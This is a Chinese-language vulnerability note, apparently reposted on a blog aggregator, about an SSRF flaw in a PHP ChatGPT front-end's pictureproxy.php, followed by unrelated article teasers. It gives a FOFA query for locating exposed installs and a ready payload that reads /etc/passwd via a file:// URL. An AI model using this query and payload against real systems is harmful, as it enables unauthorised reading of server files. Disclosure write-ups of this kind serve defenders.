chatgpt个人版ssrf漏洞

news2024/11/13 11:46:59

文章目录

- 免责申明
- 搜索语法
- 漏洞描述
- 漏洞复现
- 修复建议

免责申明

本文章仅供学习与交流，请勿用于非法用途，均由使用者本人负责，文章作者不为此承担任何责任

搜索语法

fofa

title="ChatGPT个人专用版"

漏洞描述

该系统是一个开源的chatgpt系统，是PHP版调用OpenAI的API接口进行问答的模型，在prictureproxy.php文件处存在ssrf漏洞

漏洞复现

payload

GET /pictureproxy.php?url=file:///etc/passwd HTTP/1.1
Host: x.x.x.x

在这里插入图片描述

修复建议

修改源代码，进行黑白名单

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/2142297.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

【两方演化博弈代码复现】：双方演化博弈的原理、概率博弈仿真、相位图、单个参数灵敏度演化

目录-基于MatLab2016b实现一、演化博弈的原理1. 基本概念2. 参与者的策略3.演化过程二、MATLAB 代码解读（博弈参与主体（双方）策略选择的动态演化讨程）三、MATLAB 代码解读（博弈主体随着时间策略选择的动态演化讨程&a…

若依nday复现

前言声明：此文章仅做学习，未经授权严禁转载。请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者无关本文章只做简单汇总，在此感谢其他师傅的文章和分享前置准备环境搭建下载：https:/…

访谈心脑血管名医黄力医生：医术精湛，心系患者

黄力医生，一位在心脑血管领域深耕多年的杰出医者，其医学之路同样始于对国内顶尖医学院校的刻苦钻研。在那里，她不仅打下了坚实的医学理论基础，更培养了对医学事业的无限热爱与崇高追求。毕业后，黄力医生毅然选择了心脑…

django-prometheus使用及源码分析

简介在django服务运行过程中，希望可以对其获取promethues指标进行监控，这样可以实时知道其运行状态，当它运行异常时可以及时进行告警，并且帮助我们可以对其针对性进行优化。比如请求量过大是否要进行限流或者扩容，再…

【黄力医生】血栓隐患大排查：七类人群如何自我监测静脉血栓风险

血栓，这一看似无声无息的健康杀手，实则潜藏着巨大的风险。静脉血栓作为血栓的一种常见类型，其形成与多种因素密切相关，并可能引发严重的并发症，如肺栓塞等。黄力医生指出，有七类人群特别需要关注自身静脉血…

2024/9/16 dataloader、tensorboard、transform

一、pytorch两大法宝元素假设有一个名为pytorch的包 dir()：用于打开包，看里面的内容 help():用于查看具体的内容的用处二、python文件，python控制台和jupyter的使用对比三、pytorch读取数据 pytorch读取数据主要涉及到两个类&#xff1…

目录 hash常用命令hsethgethdelhkeyshvalshgetallhmgethlenhsetnxhincrbyhdecrby 哈希的编码方式哈希的应用 hash 常用命令 hset HSET key field value [field value ...]//时间复杂度O(1) //返回值：设置成功的键值对的个数hget HGET key field//hdel HDEL key…

数据结构——树（终极版）

树的基本概念： 树的顶部是根节点也是树的入口父节点：例如：B是F的父节点子节点：树中的每个节点都可以有0个或多个子节点叶子节点：像KLFGMIJ这种没有子节点的节点节点的度：节点的子节点数&#xff1…

新160个crackme - 059-Dope2112.1

运行分析输入Name和Serial，点击Registrieren按钮，显示疑似错误提示百度翻译查看一下，发现是德语 PE分析 Delphi程序，32位，无壳静态分析&动态调试 ida字符串发现正确提示，双击跟进来到关键函数&…

现在量化中普遍使用QMT和PTrade？哪家可以同时提供QMT/PTrade？

QMT的特点全面的功能集成： QMT集成了行情显示、策略研究、交易执行和风控管理于一体，为投资者提供了一站式的量化交易解决方案。高效的交易执行能力： 通过全内存交易实现低延迟的交易执行，单笔延时小于1ms，确保了交易…

秒懂C++之智能指针

目录前言智能指针的使用及原理 RAII RAII弊端 std::auto_ptr std::unique_ptr std::shared_ptr shared_ptr弊端 std::weak_ptr 扩展（删除器） 前言为了解决抛异常所造成的内存泄漏等问题~秒懂C之异常-CSDN博客~我们来学习智能指针的相关用法…

【图像匹配】基于SIFT算法的图像匹配，matlab实现

博主简介：matlab图像代码项目合作（扣扣：3249726188） ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 本次案例是基于基于SIFT算法的图像匹配，用matlab实现。一、案例背景和算法介绍本…

【MySQL】MySQL中JDBC编程——MySQL驱动包安装——（超详解）

前言： 🌟🌟本期讲解Java中JDBC编程，希望能帮到屏幕前的你。 🌈上期博客在这里：【MySQL】MySQL索引与事务的透析——（超详解）-CSDN博客 🌈感兴趣的小伙伴看一看小编主页&a…

【Linux】初识信号与信号产生

目录一、认识信号 1 .什么是信号 2 .哪些情况会产生信号 3 . 查看信号 4 . 信号处理二、产生信号 1 .通过终端按键产生信号 2 .调用系统函数向进程发信号 3 . 由软件条件产生信号 4 . 由硬件异常产生信号一、认识信号 1 .什么是信号你在网上买了很多件商品，再…

技术上，如何复现 o1?

知乎：周舒畅链接：https://zhuanlan.zhihu.com/p/720127190 基础模型搞 o1 首先需要一个基模，这个基模必须是： 能进行“长”生成。注意这和“长 context”不是一回事。模型生成的结果，经常会有自激的噪声存在&#xf…

Unity多国语言支持

Unity多国语言支持项目在我的课程 ”淘金城堡“ 中应用项目的地址：http://t.csdnimg.cn/m0hFd 一、基本概念在Unity中加入多国语言的支持可以让我们发布的游戏或应用上线在拥有不同语言的国家或地区。下面介绍一款Unity官方提供的插件“Localization package…